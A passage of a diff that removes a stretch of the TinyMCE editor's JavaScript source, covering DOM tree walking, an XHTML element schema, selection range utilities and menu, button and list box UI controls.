(sibling) - return sibling; - - // Walk up the parents to look for siblings - for (parent = node.parentNode; parent && parent != root_node; parent = parent.parentNode) { - sibling = parent[sibling_name]; - if (sibling) - return sibling; - } - } - } - }; - - this.current = function() { - return node; - }; - - this.next = function(shallow) { - return (node = findSibling(node, 'firstChild', 'nextSibling', shallow)); - }; - - this.prev = function(shallow) { - return (node = findSibling(node, 'lastChild', 'lastSibling', shallow)); - }; -}; - -(function() { - var transitional = {}; - - function unpack(lookup, data) { - var key; - - function replace(value) { - return value.replace(/[A-Z]+/g, function(key) { - return replace(lookup[key]); - }); - }; - - // Unpack lookup - for (key in lookup) { - if (lookup.hasOwnProperty(key)) - lookup[key] = replace(lookup[key]); - } - - // Unpack and parse data into object map - replace(data).replace(/#/g, '#text').replace(/(\w+)\[([^\]]+)\]/g, function(str, name, children) { - var i, map = {}; - - children = children.split(/\|/); - - for (i = children.length - 1; i >= 0; i--) - map[children[i]] = 1; - - transitional[name] = map; - }); - }; - - // This is the XHTML 1.0 transitional elements with it's children packed to reduce it's size - // we will later include the attributes here and use it as a default for valid elements but it - // requires us to rewrite the serializer engine - unpack({ - Z : '#|H|K|N|O|P', - Y : '#|X|form|R|Q', - X : 'p|T|div|U|W|isindex|fieldset|table', - W : 'pre|hr|blockquote|address|center|noframes', - U : 'ul|ol|dl|menu|dir', - ZC : '#|p|Y|div|U|W|table|br|span|bdo|object|applet|img|map|K|N|Q', - T : 'h1|h2|h3|h4|h5|h6', - ZB : '#|X|S|Q', - S : 'R|P', - ZA : '#|a|G|J|M|O|P', - R : '#|a|H|K|N|O', - Q : 'noscript|P', - P : 'ins|del|script', - O : 'input|select|textarea|label|button', - N : 'M|L', - M : 'em|strong|dfn|code|q|samp|kbd|var|cite|abbr|acronym', - L : 'sub|sup', - K : 'J|I', - J : 'tt|i|b|u|s|strike', - I : 'big|small|font|basefont', - H : 'G|F', - G : 'br|span|bdo', - F : 'object|applet|img|map|iframe' - }, 'script[]' + - 'style[]' + - 'object[#|param|X|form|a|H|K|N|O|Q]' + - 'param[]' + - 'p[S]' + - 'a[Z]' + - 'br[]' + - 'span[S]' + - 'bdo[S]' + - 'applet[#|param|X|form|a|H|K|N|O|Q]' + - 'h1[S]' + - 'img[]' + - 'map[X|form|Q|area]' + - 'h2[S]' + - 'iframe[#|X|form|a|H|K|N|O|Q]' + - 'h3[S]' + - 'tt[S]' + - 'i[S]' + - 'b[S]' + - 'u[S]' + - 's[S]' + - 'strike[S]' + - 'big[S]' + - 'small[S]' + - 'font[S]' + - 'basefont[]' + - 'em[S]' + - 'strong[S]' + - 'dfn[S]' + - 'code[S]' + - 'q[S]' + - 'samp[S]' + - 'kbd[S]' + - 'var[S]' + - 'cite[S]' + - 'abbr[S]' + - 'acronym[S]' + - 'sub[S]' + - 'sup[S]' + - 'input[]' + - 'select[optgroup|option]' + - 'optgroup[option]' + - 'option[]' + - 'textarea[]' + - 'label[S]' + - 'button[#|p|T|div|U|W|table|G|object|applet|img|map|K|N|Q]' + - 'h4[S]' + - 'ins[#|X|form|a|H|K|N|O|Q]' + - 'h5[S]' + - 'del[#|X|form|a|H|K|N|O|Q]' + - 'h6[S]' + - 'div[#|X|form|a|H|K|N|O|Q]' + - 'ul[li]' + - 'li[#|X|form|a|H|K|N|O|Q]' + - 'ol[li]' + - 'dl[dt|dd]' + - 'dt[S]' + - 'dd[#|X|form|a|H|K|N|O|Q]' + - 'menu[li]' + - 'dir[li]' + - 'pre[ZA]' + - 'hr[]' + - 'blockquote[#|X|form|a|H|K|N|O|Q]' + - 'address[S|p]' + - 'center[#|X|form|a|H|K|N|O|Q]' + - 'noframes[#|X|form|a|H|K|N|O|Q]' + - 'isindex[]' + - 'fieldset[#|legend|X|form|a|H|K|N|O|Q]' + - 'legend[S]' + - 'table[caption|col|colgroup|thead|tfoot|tbody|tr]' + - 'caption[S]' + - 'col[]' + - 'colgroup[col]' + - 'thead[tr]' + - 'tr[th|td]' + - 'th[#|X|form|a|H|K|N|O|Q]' + - 'form[#|X|a|H|K|N|O|Q]' + - 'noscript[#|X|form|a|H|K|N|O|Q]' + - 'td[#|X|form|a|H|K|N|O|Q]' + - 'tfoot[tr]' + - 'tbody[tr]' + - 'area[]' + - 'base[]' + - 'body[#|X|form|a|H|K|N|O|Q]' - ); - - tinymce.dom.Schema = function() { - var t = this, elements = transitional; - - t.isValid = function(name, child_name) { - var element = elements[name]; - - return !!(element && (!child_name || element[child_name])); - }; - }; -})(); -(function(tinymce) { - tinymce.dom.RangeUtils = function(dom) { - var INVISIBLE_CHAR = '\uFEFF'; - - this.walk = function(rng, callback) { - var startContainer = rng.startContainer, - startOffset = rng.startOffset, - endContainer = rng.endContainer, - endOffset = rng.endOffset, - ancestor, startPoint, - endPoint, node, parent, siblings, nodes; - - // Handle table cell selection the table plugin enables - // you to fake select table cells and perform formatting actions on them - nodes = dom.select('td.mceSelected,th.mceSelected'); - if (nodes.length > 0) { - tinymce.each(nodes, function(node) { - callback([node]); - }); - - return; - } - - function collectSiblings(node, name, end_node) { - var siblings = []; - - for (; node && node != end_node; node = node[name]) - siblings.push(node); - - return siblings; - }; - - function findEndPoint(node, root) { - do { - if (node.parentNode == root) - return node; - - node = node.parentNode; - } while(node); - }; - - function walkBoundary(start_node, end_node, next) { - var siblingName = next ? 'nextSibling' : 'previousSibling'; - - for (node = start_node, parent = node.parentNode; node && node != end_node; node = parent) { - parent = node.parentNode; - siblings = collectSiblings(node == start_node ? node : node[siblingName], siblingName); - - if (siblings.length) { - if (!next) - siblings.reverse(); - - callback(siblings); - } - } - }; - - // If index based start position then resolve it - if (startContainer.nodeType == 1 && startContainer.hasChildNodes()) - startContainer = startContainer.childNodes[startOffset]; - - // If index based end position then resolve it - if (endContainer.nodeType == 1 && endContainer.hasChildNodes()) - endContainer = endContainer.childNodes[Math.min(startOffset == endOffset ? endOffset : endOffset - 1, endContainer.childNodes.length - 1)]; - - // Find common ancestor and end points - ancestor = dom.findCommonAncestor(startContainer, endContainer); - - // Same container - if (startContainer == endContainer) - return callback([startContainer]); - - // Process left side - for (node = startContainer; node; node = node.parentNode) { - if (node == endContainer) - return walkBoundary(startContainer, ancestor, true); - - if (node == ancestor) - break; - } - - // Process right side - for (node = endContainer; node; node = node.parentNode) { - if (node == startContainer) - return walkBoundary(endContainer, ancestor); - - if (node == ancestor) - break; - } - - // Find start/end point - startPoint = findEndPoint(startContainer, ancestor) || startContainer; - endPoint = findEndPoint(endContainer, ancestor) || endContainer; - - // Walk left leaf - walkBoundary(startContainer, startPoint, true); - - // Walk the middle from start to end point - siblings = collectSiblings( - startPoint == startContainer ? startPoint : startPoint.nextSibling, - 'nextSibling', - endPoint == endContainer ? endPoint.nextSibling : endPoint - ); - - if (siblings.length) - callback(siblings); - - // Walk right leaf - walkBoundary(endContainer, endPoint); - }; - - /* this.split = function(rng) { - var startContainer = rng.startContainer, - startOffset = rng.startOffset, - endContainer = rng.endContainer, - endOffset = rng.endOffset; - - function splitText(node, offset) { - if (offset == node.nodeValue.length) - node.appendData(INVISIBLE_CHAR); - - node = node.splitText(offset); - - if (node.nodeValue === INVISIBLE_CHAR) - node.nodeValue = ''; - - return node; - }; - - // Handle single text node - if (startContainer == endContainer) { - if (startContainer.nodeType == 3) { - if (startOffset != 0) - startContainer = endContainer = splitText(startContainer, startOffset); - - if (endOffset - startOffset != startContainer.nodeValue.length) - splitText(startContainer, endOffset - startOffset); - } - } else { - // Split startContainer text node if needed - if (startContainer.nodeType == 3 && startOffset != 0) { - startContainer = splitText(startContainer, startOffset); - startOffset = 0; - } - - // Split endContainer text node if needed - if (endContainer.nodeType == 3 && endOffset != endContainer.nodeValue.length) { - endContainer = splitText(endContainer, endOffset).previousSibling; - endOffset = endContainer.nodeValue.length; - } - } - - return { - startContainer : startContainer, - startOffset : startOffset, - endContainer : endContainer, - endOffset : endOffset - }; - }; -*/ - }; - - tinymce.dom.RangeUtils.compareRanges = function(rng1, rng2) { - if (rng1 && rng2) { - // Compare native IE ranges - if (rng1.item || rng1.duplicate) { - // Both are control ranges and the selected element matches - if (rng1.item && rng2.item && rng1.item(0) === rng2.item(0)) - return true; - - // Both are text ranges and the range matches - if (rng1.isEqual && rng2.isEqual && rng2.isEqual(rng1)) - return true; - } else { - // Compare w3c ranges - return rng1.startContainer == rng2.startContainer && rng1.startOffset == rng2.startOffset; - } - } - - return false; - }; -})(tinymce); - -(function(tinymce) { - // Shorten class names - var DOM = tinymce.DOM, is = tinymce.is; - - tinymce.create('tinymce.ui.Control', { - Control : function(id, s) { - this.id = id; - this.settings = s = s || {}; - this.rendered = false; - this.onRender = new tinymce.util.Dispatcher(this); - this.classPrefix = ''; - this.scope = s.scope || this; - this.disabled = 0; - this.active = 0; - }, - - setDisabled : function(s) { - var e; - - if (s != this.disabled) { - e = DOM.get(this.id); - - // Add accessibility title for unavailable actions - if (e && this.settings.unavailable_prefix) { - if (s) { - this.prevTitle = e.title; - e.title = this.settings.unavailable_prefix + ": " + e.title; - } else - e.title = this.prevTitle; - } - - this.setState('Disabled', s); - this.setState('Enabled', !s); - this.disabled = s; - } - }, - - isDisabled : function() { - return this.disabled; - }, - - setActive : function(s) { - if (s != this.active) { - this.setState('Active', s); - this.active = s; - } - }, - - isActive : function() { - return this.active; - }, - - setState : function(c, s) { - var n = DOM.get(this.id); - - c = this.classPrefix + c; - - if (s) - DOM.addClass(n, c); - else - DOM.removeClass(n, c); - }, - - isRendered : function() { - return this.rendered; - }, - - renderHTML : function() { - }, - - renderTo : function(n) { - DOM.setHTML(n, this.renderHTML()); - }, - - postRender : function() { - var t = this, b; - - // Set pending states - if (is(t.disabled)) { - b = t.disabled; - t.disabled = -1; - t.setDisabled(b); - } - - if (is(t.active)) { - b = t.active; - t.active = -1; - t.setActive(b); - } - }, - - remove : function() { - DOM.remove(this.id); - this.destroy(); - }, - - destroy : function() { - tinymce.dom.Event.clear(this.id); - } - }); -})(tinymce); -tinymce.create('tinymce.ui.Container:tinymce.ui.Control', { - Container : function(id, s) { - this.parent(id, s); - - this.controls = []; - - this.lookup = {}; - }, - - add : function(c) { - this.lookup[c.id] = c; - this.controls.push(c); - - return c; - }, - - get : function(n) { - return this.lookup[n]; - } -}); - - -tinymce.create('tinymce.ui.Separator:tinymce.ui.Control', { - Separator : function(id, s) { - this.parent(id, s); - this.classPrefix = 'mceSeparator'; - }, - - renderHTML : function() { - return tinymce.DOM.createHTML('span', {'class' : this.classPrefix}); - } -}); - -(function(tinymce) { - var is = tinymce.is, DOM = tinymce.DOM, each = tinymce.each, walk = tinymce.walk; - - tinymce.create('tinymce.ui.MenuItem:tinymce.ui.Control', { - MenuItem : function(id, s) { - this.parent(id, s); - this.classPrefix = 'mceMenuItem'; - }, - - setSelected : function(s) { - this.setState('Selected', s); - this.selected = s; - }, - - isSelected : function() { - return this.selected; - }, - - postRender : function() { - var t = this; - - t.parent(); - - // Set pending state - if (is(t.selected)) - t.setSelected(t.selected); - } - }); -})(tinymce); - -(function(tinymce) { - var is = tinymce.is, DOM = tinymce.DOM, each = tinymce.each, walk = tinymce.walk; - - tinymce.create('tinymce.ui.Menu:tinymce.ui.MenuItem', { - Menu : function(id, s) { - var t = this; - - t.parent(id, s); - t.items = {}; - t.collapsed = false; - t.menuCount = 0; - t.onAddItem = new tinymce.util.Dispatcher(this); - }, - - expand : function(d) { - var t = this; - - if (d) { - walk(t, function(o) { - if (o.expand) - o.expand(); - }, 'items', t); - } - - t.collapsed = false; - }, - - collapse : function(d) { - var t = this; - - if (d) { - walk(t, function(o) { - if (o.collapse) - o.collapse(); - }, 'items', t); - } - - t.collapsed = true; - }, - - isCollapsed : function() { - return this.collapsed; - }, - - add : function(o) { - if (!o.settings) - o = new tinymce.ui.MenuItem(o.id || DOM.uniqueId(), o); - - this.onAddItem.dispatch(this, o); - - return this.items[o.id] = o; - }, - - addSeparator : function() { - return this.add({separator : true}); - }, - - addMenu : function(o) { - if (!o.collapse) - o = this.createMenu(o); - - this.menuCount++; - - return this.add(o); - }, - - hasMenus : function() { - return this.menuCount !== 0; - }, - - remove : function(o) { - delete this.items[o.id]; - }, - - removeAll : function() { - var t = this; - - walk(t, function(o) { - if (o.removeAll) - o.removeAll(); - else - o.remove(); - - o.destroy(); - }, 'items', t); - - t.items = {}; - }, - - createMenu : function(o) { - var m = new tinymce.ui.Menu(o.id || DOM.uniqueId(), o); - - m.onAddItem.add(this.onAddItem.dispatch, this.onAddItem); - - return m; - } - }); -})(tinymce); -(function(tinymce) { - var is = tinymce.is, DOM = tinymce.DOM, each = tinymce.each, Event = tinymce.dom.Event, Element = tinymce.dom.Element; - - tinymce.create('tinymce.ui.DropMenu:tinymce.ui.Menu', { - DropMenu : function(id, s) { - s = s || {}; - s.container = s.container || DOM.doc.body; - s.offset_x = s.offset_x || 0; - s.offset_y = s.offset_y || 0; - s.vp_offset_x = s.vp_offset_x || 0; - s.vp_offset_y = s.vp_offset_y || 0; - - if (is(s.icons) && !s.icons) - s['class'] += ' mceNoIcons'; - - this.parent(id, s); - this.onShowMenu = new tinymce.util.Dispatcher(this); - this.onHideMenu = new tinymce.util.Dispatcher(this); - this.classPrefix = 'mceMenu'; - }, - - createMenu : function(s) { - var t = this, cs = t.settings, m; - - s.container = s.container || cs.container; - s.parent = t; - s.constrain = s.constrain || cs.constrain; - s['class'] = s['class'] || cs['class']; - s.vp_offset_x = s.vp_offset_x || cs.vp_offset_x; - s.vp_offset_y = s.vp_offset_y || cs.vp_offset_y; - m = new tinymce.ui.DropMenu(s.id || DOM.uniqueId(), s); - - m.onAddItem.add(t.onAddItem.dispatch, t.onAddItem); - - return m; - }, - - update : function() { - var t = this, s = t.settings, tb = DOM.get('menu_' + t.id + '_tbl'), co = DOM.get('menu_' + t.id + '_co'), tw, th; - - tw = s.max_width ? Math.min(tb.clientWidth, s.max_width) : tb.clientWidth; - th = s.max_height ? Math.min(tb.clientHeight, s.max_height) : tb.clientHeight; - - if (!DOM.boxModel) - t.element.setStyles({width : tw + 2, height : th + 2}); - else - t.element.setStyles({width : tw, height : th}); - - if (s.max_width) - DOM.setStyle(co, 'width', tw); - - if (s.max_height) { - DOM.setStyle(co, 'height', th); - - if (tb.clientHeight < s.max_height) - DOM.setStyle(co, 'overflow', 'hidden'); - } - }, - - showMenu : function(x, y, px) { - var t = this, s = t.settings, co, vp = DOM.getViewPort(), w, h, mx, my, ot = 2, dm, tb, cp = t.classPrefix; - - t.collapse(1); - - if (t.isMenuVisible) - return; - - if (!t.rendered) { - co = DOM.add(t.settings.container, t.renderNode()); - - each(t.items, function(o) { - o.postRender(); - }); - - t.element = new Element('menu_' + t.id, {blocker : 1, container : s.container}); - } else - co = DOM.get('menu_' + t.id); - - // Move layer out of sight unless it's Opera since it scrolls to top of page due to an bug - if (!tinymce.isOpera) - DOM.setStyles(co, {left : -0xFFFF , top : -0xFFFF}); - - DOM.show(co); - t.update(); - - x += s.offset_x || 0; - y += s.offset_y || 0; - vp.w -= 4; - vp.h -= 4; - - // Move inside viewport if not submenu - if (s.constrain) { - w = co.clientWidth - ot; - h = co.clientHeight - ot; - mx = vp.x + vp.w; - my = vp.y + vp.h; - - if ((x + s.vp_offset_x + w) > mx) - x = px ? px - w : Math.max(0, (mx - s.vp_offset_x) - w); - - if ((y + s.vp_offset_y + h) > my) - y = Math.max(0, (my - s.vp_offset_y) - h); - } - - DOM.setStyles(co, {left : x , top : y}); - t.element.update(); - - t.isMenuVisible = 1; - t.mouseClickFunc = Event.add(co, 'click', function(e) { - var m; - - e = e.target; - - if (e && (e = DOM.getParent(e, 'tr')) && !DOM.hasClass(e, cp + 'ItemSub')) { - m = t.items[e.id]; - - if (m.isDisabled()) - return; - - dm = t; - - while (dm) { - if (dm.hideMenu) - dm.hideMenu(); - - dm = dm.settings.parent; - } - - if (m.settings.onclick) - m.settings.onclick(e); - - return Event.cancel(e); // Cancel to fix onbeforeunload problem - } - }); - - if (t.hasMenus()) { - t.mouseOverFunc = Event.add(co, 'mouseover', function(e) { - var m, r, mi; - - e = e.target; - if (e && (e = DOM.getParent(e, 'tr'))) { - m = t.items[e.id]; - - if (t.lastMenu) - t.lastMenu.collapse(1); - - if (m.isDisabled()) - return; - - if (e && DOM.hasClass(e, cp + 'ItemSub')) { - //p = DOM.getPos(s.container); - r = DOM.getRect(e); - m.showMenu((r.x + r.w - ot), r.y - ot, r.x); - t.lastMenu = m; - DOM.addClass(DOM.get(m.id).firstChild, cp + 'ItemActive'); - } - } - }); - } - - t.onShowMenu.dispatch(t); - - if (s.keyboard_focus) { - Event.add(co, 'keydown', t._keyHandler, t); - DOM.select('a', 'menu_' + t.id)[0].focus(); // Select first link - t._focusIdx = 0; - } - }, - - hideMenu : function(c) { - var t = this, co = DOM.get('menu_' + t.id), e; - - if (!t.isMenuVisible) - return; - - Event.remove(co, 'mouseover', t.mouseOverFunc); - Event.remove(co, 'click', t.mouseClickFunc); - Event.remove(co, 'keydown', t._keyHandler); - DOM.hide(co); - t.isMenuVisible = 0; - - if (!c) - t.collapse(1); - - if (t.element) - t.element.hide(); - - if (e = DOM.get(t.id)) - DOM.removeClass(e.firstChild, t.classPrefix + 'ItemActive'); - - t.onHideMenu.dispatch(t); - }, - - add : function(o) { - var t = this, co; - - o = t.parent(o); - - if (t.isRendered && (co = DOM.get('menu_' + t.id))) - t._add(DOM.select('tbody', co)[0], o); - - return o; - }, - - collapse : function(d) { - this.parent(d); - this.hideMenu(1); - }, - - remove : function(o) { - DOM.remove(o.id); - this.destroy(); - - return this.parent(o); - }, - - destroy : function() { - var t = this, co = DOM.get('menu_' + t.id); - - Event.remove(co, 'mouseover', t.mouseOverFunc); - Event.remove(co, 'click', t.mouseClickFunc); - - if (t.element) - t.element.remove(); - - DOM.remove(co); - }, - - renderNode : function() { - var t = this, s = t.settings, n, tb, co, w; - - w = DOM.create('div', {id : 'menu_' + t.id, 'class' : s['class'], 'style' : 'position:absolute;left:0;top:0;z-index:200000'}); - co = DOM.add(w, 'div', {id : 'menu_' + t.id + '_co', 'class' : t.classPrefix + (s['class'] ? ' ' + s['class'] : '')}); - t.element = new Element('menu_' + t.id, {blocker : 1, container : s.container}); - - if (s.menu_line) - DOM.add(co, 'span', {'class' : t.classPrefix + 'Line'}); - -// n = DOM.add(co, 'div', {id : 'menu_' + t.id + '_co', 'class' : 'mceMenuContainer'}); - n = DOM.add(co, 'table', {id : 'menu_' + t.id + '_tbl', border : 0, cellPadding : 0, cellSpacing : 0}); - tb = DOM.add(n, 'tbody'); - - each(t.items, function(o) { - t._add(tb, o); - }); - - t.rendered = true; - - return w; - }, - - // Internal functions - - _keyHandler : function(e) { - var t = this, kc = e.keyCode; - - function focus(d) { - var i = t._focusIdx + d, e = DOM.select('a', 'menu_' + t.id)[i]; - - if (e) { - t._focusIdx = i; - e.focus(); - } - }; - - switch (kc) { - case 38: - focus(-1); // Select first link - return; - - case 40: - focus(1); - return; - - case 13: - return; - - case 27: - return this.hideMenu(); - } - }, - - _add : function(tb, o) { - var n, s = o.settings, a, ro, it, cp = this.classPrefix, ic; - - if (s.separator) { - ro = DOM.add(tb, 'tr', {id : o.id, 'class' : cp + 'ItemSeparator'}); - DOM.add(ro, 'td', {'class' : cp + 'ItemSeparator'}); - - if (n = ro.previousSibling) - DOM.addClass(n, 'mceLast'); - - return; - } - - n = ro = DOM.add(tb, 'tr', {id : o.id, 'class' : cp + 'Item ' + cp + 'ItemEnabled'}); - n = it = DOM.add(n, 'td'); - n = a = DOM.add(n, 'a', {href : 'javascript:;', onclick : "return false;", onmousedown : 'return false;'}); - - DOM.addClass(it, s['class']); -// n = DOM.add(n, 'span', {'class' : 'item'}); - - ic = DOM.add(n, 'span', {'class' : 'mceIcon' + (s.icon ? ' mce_' + s.icon : '')}); - - if (s.icon_src) - DOM.add(ic, 'img', {src : s.icon_src}); - - n = DOM.add(n, s.element || 'span', {'class' : 'mceText', title : o.settings.title}, o.settings.title); - - if (o.settings.style) - DOM.setAttrib(n, 'style', o.settings.style); - - if (tb.childNodes.length == 1) - DOM.addClass(ro, 'mceFirst'); - - if ((n = ro.previousSibling) && DOM.hasClass(n, cp + 'ItemSeparator')) - DOM.addClass(ro, 'mceFirst'); - - if (o.collapse) - DOM.addClass(ro, cp + 'ItemSub'); - - if (n = ro.previousSibling) - DOM.removeClass(n, 'mceLast'); - - DOM.addClass(ro, 'mceLast'); - } - }); -})(tinymce); -(function(tinymce) { - var DOM = tinymce.DOM; - - tinymce.create('tinymce.ui.Button:tinymce.ui.Control', { - Button : function(id, s) { - this.parent(id, s); - this.classPrefix = 'mceButton'; - }, - - renderHTML : function() { - var cp = this.classPrefix, s = this.settings, h, l; - - l = DOM.encode(s.label || ''); - h = '<a id="' + this.id + '" href="javascript:;" class="' + cp + ' ' + cp + 'Enabled ' + s['class'] + (l ? ' ' + cp + 'Labeled' : '') +'" onmousedown="return false;" onclick="return false;" title="' + DOM.encode(s.title) + '">'; - - if (s.image) - h += '<img class="mceIcon" src="' + s.image + '" />' + l + '</a>'; - else - h += '<span class="mceIcon ' + s['class'] + '"></span>' + (l ? '<span class="' + cp + 'Label">' + l + '</span>' : '') + '</a>'; - - return h; - }, - - postRender : function() { - var t = this, s = t.settings; - - tinymce.dom.Event.add(t.id, 'click', function(e) { - if (!t.isDisabled()) - return s.onclick.call(s.scope, e); - }); - } - }); -})(tinymce); - -(function(tinymce) { - var DOM = tinymce.DOM, Event = tinymce.dom.Event, each = tinymce.each, Dispatcher = tinymce.util.Dispatcher; - - tinymce.create('tinymce.ui.ListBox:tinymce.ui.Control', { - ListBox : function(id, s) { - var t = this; - - t.parent(id, s); - - t.items = []; - - t.onChange = new Dispatcher(t); - - t.onPostRender = new Dispatcher(t); - - t.onAdd = new Dispatcher(t); - - t.onRenderMenu = new tinymce.util.Dispatcher(this); - - t.classPrefix = 'mceListBox'; - }, - - select : function(va) { - var t = this, fv, f; - - if (va == undefined) - return t.selectByIndex(-1); - - // Is string or number make function selector - if (va && va.call) - f = va; - else { - f = function(v) { - return v == va; - }; - } - - // Do we need to do something? - if (va != t.selectedValue) { - // Find item - each(t.items, function(o, i) { - if (f(o.value)) { - fv = 1; - t.selectByIndex(i); - return false; - } - }); - - if (!fv) - t.selectByIndex(-1); - } - }, - - selectByIndex : function(idx) { - var t = this, e, o; - - if (idx != t.selectedIndex) { - e = DOM.get(t.id + '_text'); - o = t.items[idx]; - - if (o) { - t.selectedValue = o.value; - t.selectedIndex = idx; - DOM.setHTML(e, DOM.encode(o.title)); - DOM.removeClass(e, 'mceTitle'); - } else { - DOM.setHTML(e, DOM.encode(t.settings.title)); - DOM.addClass(e, 'mceTitle'); - t.selectedValue = t.selectedIndex = null; - } - - e = 0; - } - }, - - add : function(n, v, o) { - var t = this; - - o = o || {}; - o = tinymce.extend(o, { - title : n, - value : v - }); - - t.items.push(o); - t.onAdd.dispatch(t, o); - }, - - getLength : function() { - return this.items.length; - }, - - renderHTML : function() { - var h = '', t = this, s = t.settings, cp = t.classPrefix; - - h = '<table id="' + t.id + '" cellpadding="0" cellspacing="0" class="' + cp + ' ' + cp + 'Enabled' + (s['class'] ? (' ' + s['class']) : '') + '"><tbody><tr>'; - h += '<td>' + DOM.createHTML('a', {id : t.id + '_text', href : 'javascript:;', 'class' : 'mceText', onclick : "return false;", onmousedown : 'return false;'}, DOM.encode(t.settings.title)) + '</td>'; - h += '<td>' + DOM.createHTML('a', {id : t.id + '_open', tabindex : -1, href : 'javascript:;', 'class' : 'mceOpen', onclick : "return false;", onmousedown : 'return false;'}, '<span></span>') + '</td>'; - h += '</tr></tbody></table>'; - - return h; - }, - - showMenu : function() { - var t = this, p1, p2, e = DOM.get(this.id), m; - - if (t.isDisabled() || t.items.length == 0) - return; - - if (t.menu && t.menu.isMenuVisible) - return t.hideMenu(); - - if (!t.isMenuRendered) { - t.renderMenu(); - t.isMenuRendered = true; - } - - p1 = DOM.getPos(this.settings.menu_container); - p2 = DOM.getPos(e); - - m = t.menu; - m.settings.offset_x = p2.x; - m.settings.offset_y = p2.y; - m.settings.keyboard_focus = !tinymce.isOpera; // Opera is buggy when it comes to auto focus - - // Select in menu - if (t.oldID) - m.items[t.oldID].setSelected(0); - - each(t.items, function(o) { - if (o.value === t.selectedValue) { - m.items[o.id].setSelected(1); - t.oldID = o.id; - } - }); - - m.showMenu(0, e.clientHeight); - - Event.add(DOM.doc, 'mousedown', t.hideMenu, t); - DOM.addClass(t.id, t.classPrefix + 'Selected'); - - //DOM.get(t.id + '_text').focus(); - }, - - hideMenu : function(e) { - var t = this; - - if (t.menu && t.menu.isMenuVisible) { - // Prevent double toogles by canceling the mouse click event to the button - if (e && e.type == "mousedown" && (e.target.id == t.id + '_text' || e.target.id == t.id + '_open')) - return; - - if (!e || !DOM.getParent(e.target, '.mceMenu')) { - DOM.removeClass(t.id, t.classPrefix + 'Selected'); - Event.remove(DOM.doc, 'mousedown', t.hideMenu, t); - t.menu.hideMenu(); - } - } - }, - - renderMenu : function() { - var t = this, m; - - m = t.settings.control_manager.createDropMenu(t.id + '_menu', { - menu_line : 1, - 'class' : t.classPrefix + 'Menu mceNoIcons', - max_width : 150, - max_height : 150 - }); - - m.onHideMenu.add(t.hideMenu, t); - - m.add({ - title : t.settings.title, - 'class' : 'mceMenuItemTitle', - onclick : function() { - if (t.settings.onselect('') !== false) - t.select(''); // Must be runned after - } - }); - - each(t.items, function(o) { - // No value then treat it as a title - if (o.value === undefined) { - m.add({ - title : o.title, - 'class' : 'mceMenuItemTitle', - onclick : function() { - if (t.settings.onselect('') !== false) - t.select(''); // Must be runned after - } - }); - } else { - o.id = DOM.uniqueId(); - o.onclick = function() { - if (t.settings.onselect(o.value) !== false) - t.select(o.value); // Must be runned after - }; - - m.add(o); - } - }); - - t.onRenderMenu.dispatch(t, m); - t.menu = m; - }, - - postRender : function() { - var t = this, cp = t.classPrefix; - - Event.add(t.id, 'click', t.showMenu, t); - Event.add(t.id + '_text', 'focus', function() { - if (!t._focused) { - t.keyDownHandler = Event.add(t.id + '_text', 'keydown', function(e) { - var idx = -1, v, kc = e.keyCode; - - // Find current index - each(t.items, function(v, i) { - if (t.selectedValue == v.value) - idx = i; - }); - - // Move up/down - if (kc == 38) - v = t.items[idx - 1]; - else if (kc == 40) - v = t.items[idx + 1]; - else if (kc == 13) { - // Fake select on enter - v = t.selectedValue; - t.selectedValue = null; // Needs to be null to fake change - t.settings.onselect(v); - return Event.cancel(e); - } - - if (v) { - t.hideMenu(); - t.select(v.value); - } - }); - } - - t._focused = 1; - }); - Event.add(t.id + '_text', 'blur', function() {Event.remove(t.id + '_text', 'keydown', t.keyDownHandler); t._focused = 0;}); - - // Old IE doesn't have hover on all elements - if (tinymce.isIE6 || !DOM.boxModel) { - Event.add(t.id, 'mouseover', function() { - if (!DOM.hasClass(t.id, cp + 'Disabled')) - DOM.addClass(t.id, cp + 'Hover'); - }); - - Event.add(t.id, 'mouseout', function() { - if (!DOM.hasClass(t.id, cp + 'Disabled')) - DOM.removeClass(t.id, cp + 'Hover'); - }); - } - - t.onPostRender.dispatch(t, DOM.get(t.id)); - }, - - destroy : function() { - this.parent(); - - Event.clear(this.id + '_text'); - Event.clear(this.id + '_open'); - } - }); -})(tinymce); -(function(tinymce) { - var DOM = tinymce.DOM, Event = tinymce.dom.Event, each = tinymce.each, Dispatcher = tinymce.util.Dispatcher; - - tinymce.create('tinymce.ui.NativeListBox:tinymce.ui.ListBox', { - NativeListBox : function(id, s) { - this.parent(id, s); - this.classPrefix = 'mceNativeListBox'; - }, - - setDisabled : function(s) { - DOM.get(this.id).disabled = s; - }, - - isDisabled : function() { - return DOM.get(this.id).disabled; - }, - - select : function(va) { - var t = this, fv, f; - - if (va == undefined) - return t.selectByIndex(-1); - - // Is string or number make function selector - if (va && va.call) - f = va; - else { - f = function(v) { - return v == va; - }; - } - - // Do we need to do something? - if (va != t.selectedValue) { - // Find item - each(t.items, function(o, i) { - if (f(o.value)) { - fv = 1; - t.selectByIndex(i); - return false; - } - }); - - if (!fv) - t.selectByIndex(-1); - } - }, - - selectByIndex : function(idx) { - DOM.get(this.id).selectedIndex = idx + 1; - this.selectedValue = this.items[idx] ? this.items[idx].value : null; - }, - - add : function(n, v, a) { - var o, t = this; - - a = a || {}; - a.value = v; - - if (t.isRendered()) - DOM.add(DOM.get(this.id), 'option', a, n); - - o = { - title : n, - value : v, - attribs : a - }; - - t.items.push(o); - t.onAdd.dispatch(t, o); - }, - - getLength : function() { - return this.items.length; - }, - - renderHTML : function() { - var h, t = this; - - h = DOM.createHTML('option', {value : ''}, '-- ' + t.settings.title + ' --'); - - each(t.items, function(it) { - h += DOM.createHTML('option', {value : it.value}, it.title); - }); - - h = DOM.createHTML('select', {id : t.id, 'class' : 'mceNativeListBox'}, h); - - return h; - }, - - postRender : function() { - var t = this, ch; - - t.rendered = true; - - function onChange(e) { - var v = t.items[e.target.selectedIndex - 1]; - - if (v && (v = v.value)) { - t.onChange.dispatch(t, v); - - if (t.settings.onselect) - t.settings.onselect(v); - } - }; - - Event.add(t.id, 'change', onChange); - - // Accessibility keyhandler - Event.add(t.id, 'keydown', function(e) { - var bf; - - Event.remove(t.id, 'change', ch); - - bf = Event.add(t.id, 'blur', function() { - Event.add(t.id, 'change', onChange); - Event.remove(t.id, 'blur', bf); - }); - - if (e.keyCode == 13 || e.keyCode == 32) { - onChange(e); - return Event.cancel(e); - } - }); - - t.onPostRender.dispatch(t, DOM.get(t.id)); - } - }); -})(tinymce); -(function(tinymce) { - var DOM = tinymce.DOM, Event = tinymce.dom.Event, each = tinymce.each; - - tinymce.create('tinymce.ui.MenuButton:tinymce.ui.Button', { - MenuButton : function(id, s) { - this.parent(id, 